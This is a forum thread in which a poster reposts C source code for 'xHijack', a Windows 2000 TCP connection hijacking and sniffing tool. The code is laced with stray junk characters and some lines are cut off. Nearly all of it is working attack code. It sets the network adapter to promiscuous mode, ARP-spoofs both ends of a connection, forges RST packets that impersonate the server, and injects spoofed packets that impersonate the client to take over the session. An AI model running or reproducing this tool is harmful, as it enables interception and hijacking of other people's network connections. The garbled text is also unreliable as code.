z3 S. r, @9 O, k0 c int iAdapter = 0; 3 D1 U+ S. c7 P& Z. z9 c ULONG ulLen = 0; / e2 p( L+ S( V" [8 C/ F ^ DWORD dwRet; - x6 h3 n' E8 u% v q5 [! B PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; # J& A- T% R* c PIP_ADDR_STRING pIPAddr; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = temp1 = AdapterName; i = 0; % V6 g0 I& U- Q* h8 [) w! k while ((*temp != '\0')||(*(temp-1) != '\0')) : L0 s- _* u; ^ { 5 B1 [& D) c2 H if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); 0 O" V' s0 t7 ?) V5 R temp1=temp+1; i++; 7 r$ y5 R' n7 ? } ) Q5 Q: a# m* E9 h5 P9 G temp++; 2 e7 c4 ~0 U' Q1 B( A } ' a+ y) p3 h, d; c/ P //choose adapter while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); * I6 _* I, Z" Y" R8 X& _: _: t' [) z scanf("%1d", &iAdapter); } 4 i5 A& e- i! Y& Z1 x4 Z6 Z, P printf("\n"); : t+ j# l( @! E( F) k% f. G //---------------------------------------------// //这里调用iphlpapi来取得本地ip_addr和mac_addr - M% X+ H+ s b sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ; m# A% @) S4 g4 P! [5 B- n: a/ l if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); 1 [; w6 h: c. n* N return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) 2 h5 {1 `( K2 e! n* r7 A3 [ { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; } * \/ [5 j( e# N ^( }) D; e9 J dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 0 L" j" @5 G& }( b# a if(dwRet != ERROR_SUCCESS) { 3 g% z* k, K4 T1 M9 j( G) m2 \6 r7 @ printf("GetAdapterInfo error:%d\n", GetLastError()); 7 l; g% O9 n$ Y( }1 Z$ i6 L return 0; ! k! y" y+ w8 a } 0 c7 P( ]# q+ M, q$ { pTmp = pAdapterInfo; ' ~7 H2 C' Q: C6 A while(pTmp) 3 n" v0 G, W2 o0 w- ^ { 6 a A, Q1 M z( V! ` //字符匹配

---

作者: 韩冰    时间: 2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName)) { //found it,get own adapter mac address ' ~/ W1 ]$ ~* R/ N# d2 J memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address pIPAddr = &pTmp->IpAddressList; $ ^; B% C+ R6 ^% ^& Y# O while(pIPAddr) { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; } 1 x% ^+ ~3 s9 c9 B: R break; } pTmp = pTmp->Next; } 5 Q, k" I3 D; {, E Q' U free(pAdapterInfo); //not found,return zero 4 b6 N- j$ ]% H- s6 C6 C if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// //open adapter 2 B8 l, V5 f; c1 |- J% H lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) 8 ^5 P7 \% L# f+ x/ m9 c& d1 Q { iRetCode = GetLastError(); ( L7 @& }& }9 }% p6 I9 f printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } 3 m* [' c4 c( \% [7 E // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { $ c& w# c# u3 ~ K4 Z1 P printf("Unable to set ALL_LOCAL mode!\n"); 8 N: ]& p: z }1 w- v9 i/ S return 0; } 3 p6 G2 A( x3 N S$ B. T } // set a 512K buffer in the driver 0 D" w. H: _6 Y, ^9 @ t2 G' z4 i" ? if(PacketSetBuff(lpAdapter, 512000) == FALSE) $ [' t' k6 y) b- j" R! O R9 }. u { printf("Unable to set the kernel buffer!\n"); return 0; + ^9 Z. E; _+ C& O6 D% g8 Q } ( l0 v8 _6 ?+ ~( r4 p // set a 1 second read timeout 2 G1 B' y0 A5 v" r! b) Y3 { if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 3 s) \( z$ j0 z% R printf("Warning: unable to set the read tiemout!\n"); 1 H* E7 ^- ]' j2 Y( ^; I if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 7 E8 Z0 X" \. A" L1 ] printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet - f9 f' @: y$ E& H g_lpSendPacket = PacketAllocatePacket(); 3 G3 o; Y/ n! L% q1 I& e7 M if(g_lpSendPacket == NULL) ) z `9 B8 E$ @( T { 4 w, {" t' b" P( a8 l printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 0 j) [8 A' b9 i+ T6 F/ b/ i0 x return 0; & U; Q7 D% l+ `5 L$ V } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 6 x( c; o$ P7 r2 a8 i9 i# R PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); . J8 l/ I G6 A# q: `& _ return lpAdapter; } . l/ w! S. t: B# \$ o: }- O, \ //功能：帮助信息 void usage() 2 y0 a i5 d: e+ g( t{ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 7 i9 X6 `% X( l5 x) ]! P7 [ "By eyas 2002/8/19\n" "http://www.ey4s.org\n" 9 R ]* q( p* J- S, c "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); } . F' ^. y: L. [, l+ i/ t9 j 9 h7 S7 J9 T; |5 e7 ^3 y// , G8 k# p4 E' a `2 |; H! r//功能：显示数据包的一些详细信息 // VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { 3 P* p+ K6 @' T) ^ ]# E* ~1 f SOCKADDR_IN saDest, saSrc; ; o$ ?; B& y( R& n; N2 y unsigned char FlagMask; Q0 ]3 D) B6 ^8 z6 R/ k. @# \0 Q2 @ int i; 0 N" L2 N) {) m; ~6 R saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; s% N$ L8 d* f* I saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 0 n: g/ p( I5 ^% A3 T printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ) i( _. z4 E! \ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag 7 ~( D/ L4 }6 G6 }; O- n for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 1 x; T1 A# p! A [, Z { 1 R9 I8 d) ~) T5 x. | if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag); else printf("-"); } 3 H+ _" I L7 x2 `2 J3 f printf("\n"); 6 I8 v4 h0 y i7 O. i6 r& V9 [- ]! i //如有需要，可显示更多详细的信息 + R0 u/ q8 z) G5 n; m! g; J6 Z if(bDetail) 6 L4 l- J: d" x! ]5 k6 K printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ! d: d. b! c! F4 `! [* u. i' W} * b N; {+ V Y2 \0 s 6 H* s% n& }* B& K( r// # ~2 `3 W _% G1 k//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 // DWORD WINAPI AnalysePacketsThread(LPVOID lp) & N2 E; a# D. X( k7 Z' O7 w{ * [* ]1 C/ @! E0 w1 }8 r' q# D ULONG ulBytesReceived; : w) ?- j' [# h B% k USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; 7 K, l+ P5 f; _' H6 L% ?- g( { char *buf; ' W3 M! W' p% t+ b$ n4 ~# @ u_int off, i; 2 z/ ]% k* \5 } PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; + }+ X3 }% O8 z DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 : a1 Y& Y0 C/ S" | BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ( L# Z/ d2 n4 P& Q //设置接收的packet ' n; i1 x! V! C3 q' G0 j lpRecvPacket = PacketAllocatePacket(); ]7 L: O7 R( B% I) E0 \ if(lpRecvPacket == NULL) . p( Q! B/ z/ w: c+ a! B& e { 3 J- D/ i4 \/ z; M* W) | printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 9 C; I9 w9 M E) B* B, [5 k0 u return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); - }* ]( t( o3 }5 G PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) ( Z- K, B/ D& \$ n { // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); , W3 ^- N V# `0 v break; 3 I1 v: r1 q" G0 i, u. I; Z } " |6 B! h# W( r ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; " ] @! o4 G [: A7 f# `9 R. q off = 0; 1 m) x6 W3 H5 s" U while(off < ulBytesReceived) { hdr = (struct bpf_hdr *)(buf + off); / g: K2 g4 s: y" {7 c% I7 ` X off += hdr->bh_hdrlen; ' c) e$ I" E& z pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); 8 `4 ~, N4 U0 Q //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 5 {4 n" C5 M4 s1 k1 i" b //检查是否IP包 6 ^; k9 M+ r0 s. Q6 ?5 { if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 : w1 v' H& D2 [; l! Z) V! f if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 for(i=0; i

---

作者: 韩冰    时间: 2004-11-21 01:47
pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
3 L" n/ F* i+ o$ S$ R            //reset action flag
            ResetActionAllFlag();
! E. q7 x1 v5 ~& i4 j7 T          }
  ~% P' \3 M: P6 v          //start hijack
! X- W# u: t% \" [. p3 \: d: D3 W          else if(g_dwAction == ACTION_HIJACK)
          {
0 `4 r1 S  J5 R' A9 k- Z4 ^, |            //send rst packet to client
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
            //send hijack packet to client
4 Y. d! i4 b( ]            SendHiJackPacket(pTCPPacket);
; i. a# I3 T8 f* v! a$ k) [            //reset action flag
            ResetActionAllFlag();
          }
4 P8 H6 D' B( ?; V8 v4 B6 C( L        }
' x: p/ A. Q' f2 b& E* k" ^; ?/ c        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
8 E  v: V; Z/ _& q          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
9 s: C; Q1 k! ?: z( U* V9 e1 X          for(i=0; i        }
      }
4 K" p0 e8 g( Q9 ~9 w4 y0 Z/ K      //debug output
( y! [' Q, s, m7 y0 |' x; c, {      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
6 Y! ]- U5 m6 I5 l; p: o    }//end of analyse packets while
  }//end of recv packets while
; ]: G* T1 d" p6 x2 a  PacketFreePacket(lpRecvPacket);
6 F# f, z1 ]+ Q  return 0;
+ _$ j' B5 |; e- H' K5 e2 O! A' [3 f}


6 @( F6 y0 A" t//
//功能：操作记录所有连接信息的单向链表
! {) Z% p9 x3 D4 z2 x4 @//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
- G* h* g0 i) X* v1 @/ O  PCONNINFO  pNew, pTmp;

  pTmp = g_pConnHead;
2 ?; Y. j( u* z, g% [' E) @  while(pTmp)
- c' n! F& L2 U% L6 V  {
5 m- y6 u5 ]- Q! @( `& Q/ M    if(pTmp-&gt;bActive)
    {
      //found it
! i! c$ ]' P4 ?; X  J) k      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
  h6 g: U- {' @4 `; A+ w& u( G0 p, X- x        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
5 B' p5 m0 P6 D1 h        (pTmp-&gt;uClientPort == uClientPort) )
% l7 n5 F% Q- h. F: S      {
        if(bDelete)
        {
          pTmp-&gt;bActive = FALSE;
          return 0;
        }
" g" P' r9 e+ B        else return pTmp-&gt;ident;
9 `5 P5 f" J9 p7 [0 }/ B; Y. i- {      }
/ Q# ?  l& l7 ~: }& N: j, O    }
    pTmp = pTmp-&gt;Next;
- b+ i0 R1 Q. m5 N  }
  //not found, create new node
# i3 I% T7 g4 h& B8 U4 e% n  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
3 K- g! i" \7 Y* ?  c  {
! G  K) F/ @8 G    //search unactive note
" q% V1 l4 u: A3 F% |! W    pTmp = g_pConnHead;
    while(pTmp)
    {
      if(!pTmp-&gt;bActive) break;
      pTmp = pTmp-&gt;Next;
9 [  R) a: Q" f9 W9 {0 z    }
    //found a unactive node
    if(pTmp)
+ P. l% J8 t  b    {
      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
      pTmp-&gt;uClientPort = uClientPort;
      pTmp-&gt;bActive = TRUE;
( v$ B. a/ H, D6 R* Q+ T7 i      return pTmp-&gt;ident;
    }
( R. b% R+ J. f; A- J- n, A9 B1 q6 ~    //not found,create new node
: h4 g/ E. I0 i    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
/ V/ z' N$ ?7 T# c# E    if(!pNew)
    {
      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
- P. T+ l* P8 J' t! \8 ~' [    }
2 ]/ x/ m- L3 o- s6 h# @" u) P    //fill the struct
, M- ^) x5 x# [5 h8 C* p    pNew-&gt;bActive = TRUE;
    pNew-&gt;dwServerIP = dwServerIP;
5 p! {; y& j( X! F    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
    pNew-&gt;uClientPort = uClientPort;
1 }5 m: Y2 V6 C  t: {6 o/ i# c    pNew-&gt;ident = ++g_ident;
    pNew-&gt;Next = NULL;
2 S" @- s+ C: _& y& E    //add new node to link
/ Y' i$ g* N" u2 x; l4 A3 B$ Y    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
    else
- a6 l4 p+ i. d3 Q    {
      g_pConnLast-&gt;Next = pNew;
" w' k( M/ h5 w; ]; z      g_pConnLast = pNew;
% k! T7 `, L1 D! _5 G2 _3 o. h    }
9 c7 j+ e- b& M1 ]    return pNew-&gt;ident;
2 p0 g' b- E. t8 T$ E$ Q  }
  return 0;
}

2 c3 }5 ?9 K) O5 D* H9 h2 b//
//功能：判断一个数据包是不是只有ACK标志
% k$ b6 w! z* U, ]//
8 Q" ]1 R, f$ |3 aBOOL IsACKPacket(unsigned char flag)
  Y# g' }/ A+ N9 V0 C+ I{
  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
2 o% d* k; Q/ l; _% u. T5 y$ y  {
) w8 R; S: B7 \  Y0 X    if(flag &amp; j) return FALSE;
    j &lt;&lt;= 1;
+ {& U1 `, k, Y' d7 P" ^, j  }
: r( f" C  b3 s4 {: z1 D  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
  return TRUE;
2 [! R* k1 G* d- n0 R* |. H8 a}

//
/ O  m! i9 L7 l- d$ v3 k- L//功能：伪装成Client给Server发送数据包
//
9 L! Z& P1 N& [0 j/ |BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{
' e* O7 |' }0 T0 E1 Q  N
  char    szBuff[1520];
  PSDHDR    psdhdr;
$ G) A; \7 k, ~% v5 p& t0 h  V, d  PTCPPACKET  pHiJackPacket = NULL;
( d" Z' Y- [/ O% f# z( \  BOOL    bRet = FALSE;
8 V6 K. R& r$ M' b* m" o
  __try
  {
    //
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
4 X  J( `* h; E# `8 P" ]7 l9 p" q    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
" c, w- a, W' T! h$ `    if(!pHiJackPacket)
    {
      printf("malloc error:%d\n", GetLastError());
6 F/ O5 c* o6 \5 H7 m  M5 I      __leave;
    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
" E9 J) `" R( r/ A# ?: x    //-------------- modify the packet ---------------//
    //modify ethernet head
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
7 W9 z9 a( W5 V' b- o- c% o  T$ \2 K1 H    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
0 ~8 g" }$ f0 M, V    pHiJackPacket-&gt;iphdr.checksum = 0;
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
1 T8 r8 h% n# I6 t( X    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
: i" N- b" p! J) j% g6 j# ?    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
8 M% U. _, B% w    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
% J1 I. n) p! m9 E4 \9 D" |6 ?( d* E    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
1 l' ]0 O7 f) Z: d* Q    //calculate IP checksum
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
3 \, @* |7 _+ T5 I- A8 M; K    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
0 i1 x9 [( l5 [4 l, R8 ^( p    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
% l8 u8 ~& Q1 i: f    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
# s: E3 i3 a: k- }8 c* Q5 B& F    {
, H: U8 {$ I% r7 `0 ?& ~7 ~      printf("Error sending the hijack packets!\n");
      __leave;
* D6 {* u' V! V    }
    else printf("Send hijack packet ok!\n");
5 ]# f8 A+ D! I; K* _    bRet = TRUE;
8 m+ A) g& G# V# ?7 N! Z% b3 j  }

---

作者: 韩冰    时间: 2004-11-21 01:47
__finally
% g- G( v& b9 o3 g0 o7 I# ?  {
( A& T% N" j6 F0 Z4 b  I' i  S    if(pHiJackPacket) free(pHiJackPacket);
  }
* k. v4 X8 E, U  return bRet;
}


//
//功能：伪装成Server给Client发送rst包
3 K. c; {: |2 s5 b6 a6 O5 U//
" U- n$ \, F( G$ i' ?& i4 u' w9 OBOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
  char    szBuff[60];
  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
$ ^  v- L' i& h- g# ^  BOOL    bRet = FALSE;

$ C+ W+ U  G8 t% _  __try
0 c. @! P; ?' Y2 {1 [  {
+ A4 Z4 I5 S0 w, v1 ]7 j9 ^" |5 Y    //检查当前指向想控制的连接的信息的指针是否为空
5 D/ V1 L7 T% Z; P* z    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
, v& c( s4 H! C  l% x    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
8 d4 c/ R" p: L! d) E    if(!pTcpPacket)
    {
      printf("malloc error:%d\n", GetLastError());
      __leave;
3 R8 e: L/ p+ D# w( v4 ~, p$ J) U6 K    }
1 j' \& m1 s$ B' u$ D: Y    //fill ethernet head
5 O8 d* i8 g/ |  ]7 M3 B    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
8 p  k5 y1 ]+ E3 Y# j    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
/ G7 K9 Q2 t' _9 E1 d$ k( B    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
/ M% J/ Q* l7 Q. [    //fil ip head
3 g9 H0 _' w4 A6 T* r# h    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
! J; ?: g0 W" ]+ B  ~- c* D9 h- m    pTcpPacket-&gt;iphdr.tos = 0;
# [7 s% [1 n% U5 w    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
( p- ^9 d5 w3 A& B, ]4 ^# q6 C    pTcpPacket-&gt;iphdr.ident = 1;
+ E( g/ I5 @; a9 O    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
    pTcpPacket-&gt;iphdr.checksum = 0;
0 n5 c" v. A- Q, l  K# J! d: Q    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
6 I/ W; S1 n  g2 s9 P$ F! J) {0 L6 E, v' g    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
6 N( @5 k' g/ R0 L" V( N    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
    pTcpPacket-&gt;tcphdr.th_win = 0;
' I( W5 f; E" R( k" k    pTcpPacket-&gt;tcphdr.th_urp = 0;
! z2 I0 ?9 Z2 o" j- [2 x    pTcpPacket-&gt;tcphdr.th_sum = 0;
    //fill tcp psd head
, ^' Q* @" c4 x4 I4 X9 }    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
& X1 r& c( i- P/ m$ h8 p) U+ n    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
* _! {0 N; K: R2 w6 T+ l    psdhdr.tcpl = htons(sizeof(TCPHDR));
1 p5 C, F$ {8 u! X  \    //calculate tcp checksum     
2 B- m# W$ C. x6 Q6 p    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer
, [. Y% ~$ O! o    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
  w7 V* d* Y6 |; d5 X    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; a3 K0 S  ?& [# ~    {
      printf("Error sending the rst packets!\n");
2 c+ I- V: X/ V% m& ]% M      __leave;
    }
2 h. S" w' Q) I( _1 M$ G    else printf("Send RST packet ok!\n");
; A% Q6 r2 c8 u' M9 Q# e    bRet = TRUE;
" }! j0 C1 I( I  Z) z% D% ~1 ^  }
3 \% T3 I6 }# F- P  __finally
- Q4 ?( n& I7 ?+ b  t  {
% A1 |0 t. T' b6 @- O" H    if(pTcpPacket) free(pTcpPacket);
  }
  return bRet;
}

# n9 R' f) f; L' f" I$ k% D0 \# q3 T//
* i" {3 T6 v1 E$ [& l" `//功能：计算校验和
& r( \  _1 K  J) a8 D/ N//
" ?( Q: F1 z* t* iUSHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
1 R: h$ N+ |3 a* c1 u while(size &gt;1) {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
3 D, X: [% T  }0 G }
* r& b4 B, d! u: F9 z  B if(size ) {
: q; j3 `+ \0 S& q0 x: n% @  cksum += *(UCHAR*)buffer;
( w4 T, [# d4 G6 ?/ R; t! T6 N& f }
' X8 c& Q& X4 }# L" G  r/ p) | cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
: p0 K9 X9 S- O3 A3 p" u$ n cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
1 }; N- j  c( [7 Q+ a9 ?}
' R& U: W, L  `; u3 A
. P% ?# H0 M. T5 W//
//功能:实施ARP欺骗
" }+ J; Y) D$ e! h9 t& {4 X8 n1 p//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
' h2 X* _7 L0 y+ r, n: q//
8 [( [6 e% l5 oDWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
* ?- b$ w+ K/ z6 f" w) c! Q8 P" e% w  int  iType = *(int *)lpType;
5 x- v8 S6 I8 t$ \2 ^7 ^2 J  u8 K  ARPPACKET  ArpPacket;
+ u0 u3 H1 t* F$ U  LPPACKET  lpArpPacket;
  char    szArpBuff[60];
4 z, n. k- e% {: o* k; `
: i; }+ v8 U8 h9 Y: C- A  switch(iType)
  {
# Q* R- e0 y( {3 p7 A    case 1:
' H3 X# k3 v. L8 a" {1 ?9 @      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
) j0 l9 N& ~3 e1 W& A1 i5 T! @    case 2:
! @  m. H) f9 x3 d  w      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
  c8 g5 X2 y" @5 o# [$ T      ArpPacket.arphdr.DestIP = g_ClientSideIP;
4 \& [' S+ e3 ^; ~+ E      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
, ~6 T3 o1 D( s+ C      break;
    default:
8 Z' Y8 a2 _4 p8 z* m( U      return 0;
  }
  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
4 m5 W" y2 S  P" r: V  //arp head
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
